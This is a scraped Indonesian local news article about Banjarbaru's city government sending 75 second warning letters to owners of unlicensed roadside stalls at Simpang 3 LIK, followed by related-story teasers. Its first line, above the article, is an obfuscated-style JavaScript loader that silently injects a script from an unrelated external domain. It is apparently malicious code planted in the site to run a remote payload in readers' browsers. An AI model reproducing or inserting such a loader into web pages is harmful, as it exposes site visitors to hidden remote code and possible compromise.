(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Surat Peringatan kedua (SP 2) dilayangkan Pemerintah Kota (Pemko) Banjarbaru sebanyak 75 surat kepada pemilik warung di Jalan Trikora dan Jalan A Yani arah Pelaihari tepatnya di Simpang 3 LIK Kelurahan Landasan Ulin Selatan, Kecamatan Liang Anggang, Kota Banjarbaru.
Para pemilik warung dan diduga warung jablai alias warung remang-remang dianggap melanggar Peraturan Daerah (Perda) Kota Banjarbaru.
Kasi PPNS Opsdal Satpol PP Kota Banjarbaru, Yanto Hidayat mengatakan, 75 surat peringatan kedua itu berisikan pemberitahuan agar pemilik warung membongkar selama 14 hari kedepan bangunan mereka, dikarenakan mereka sudah melanggar Perda Nomor 6 Tahun 2022 tentang Bangunan Gedung dan Perda Nomor 6 tahun 2014 terkait Tibum (Ketertiban Umum).
“Mereka (pemilik warung) hingga saat ini tidak memiliki izin mendirikan bangunan sama sekali, ada juga indikasi warung-warung tersebut menjadi warung jablai,” ungkap Yanto, Kamis (17/11/2022) petang.
Kasi PPNS Opsdal Satpol PP Banjarbaru, Yanto Hidayat. Foto: Ibnu
Baca juga :Â Pemko Banjarbaru Layangkan SP 2 kepada 75 Pemilik Bangunan Tanpa Izin di Simpang 3 LIK
Dilanjutkan Yanto, lahan yang dijadikan bangunan itu merupakan kepemilikan dari LIK, bukan milik pribadi maupun Pemko Banjarbaru, namun mereka menyalahi izin bangunan.
“Dulu LIK itu Lingkungan Industri Kecil, yang saya ketahui dulu ada industri di sana, seperti pembuatan logam atau semacamnya, namun sampai saat ini kami belum mengetahui siapa yang bisa menjelaskan secara persis terkait LIK ini,” jelasnya.
Sehingga kebanyakan bangunan yang didirikan di wilayah tersebut merupakan tanah dan bangunan yang disewakan.
Ketika melayangkan SP 2 kepada pemilik warung, diutarakan Yanto sempat ada seseorang yang mencoba melakukan protes, namun setelah dilakukan pengecekan orang tersebut diduga mempunyai gangguan kejiwaan.
Baca juga : DPRD Kapuas Bersama TAPD Maraton Membahas Rancangan KUA-PPAS APBD 2023
“Setelah ditanya ke personel Polres dan warga sekitar, itu orang diduga ada kelainan, memang memancing dari segi bicaranya, tetap kita pantau, pada dasarnya mereka tidak menghalangi kami,” jelasnya.
Sempat disinggung isu ada penarikan biaya keamanan di lingkungan tersebut, menanggapi hal tersebut Yanto menegaskan, tidak pernah ada sama sekali pihak yang melakuan penarikan uang keamanan seputar wilayah LIK.
“Kami tidak pernah meminta atau memerintahkan mengambil uang keamanan berkaitan seputar LIK sampai sekarang,” tegasnya.
Baca juga : Antisipasi Krisis Pangan Lokal, Komisi II DPRD Kapuas Dorong Pemkab Siapkan Stok Beras
Sekadar diketahui Pemko Banjarbaru sudah melayangkan SP 1 yang dilayangkan 14 hari lalu pada Kamis (3/11/2022) lalu, kepada pemilik warung di sekitar Jalan Trikora dan Jalan A Yani Arah Pelaihari di Landasan Ulin Selatan Kota Banjarbaru.
Jika dalam rentan waktu 14 hari ke depan setelah SP 2 dilayangkan, Pemko Banjarbaru akan melayangkan SP 3 kepada pemilik warung.(Kanalkalimantan.com/ibnu)
Reporter : ibnu
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Genangan air yang merendam hingga ke Jalan Mistar Cokrokusumo, Kecamatan Cempaka, Kota… Read More
KANALKALIMANTAN.COM - Setiap tanggal 22 Januari, diperingati Hari Pejalan Kaki Nasional sebagai bentuk penghormatan terhadap… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Terdakwa kasus korupsi dana kader sosial pada Dinas Sosial (Dinsos) Kabupaten Hulu… Read More
KANALKALIMANTAN.COM, BANJARBARU – Badan Meteorologi, Klimatologi, dan Geofisika (BMKG) memprediksi potensi cuaca ekstrem di Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob akibat pasang surut air dan curah hujan tinggi masih menerjang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Curah hujan ekstrem yang terjadi beberapa hari terakhir mengakibatkan genangan air terjadi… Read More
This website uses cookies.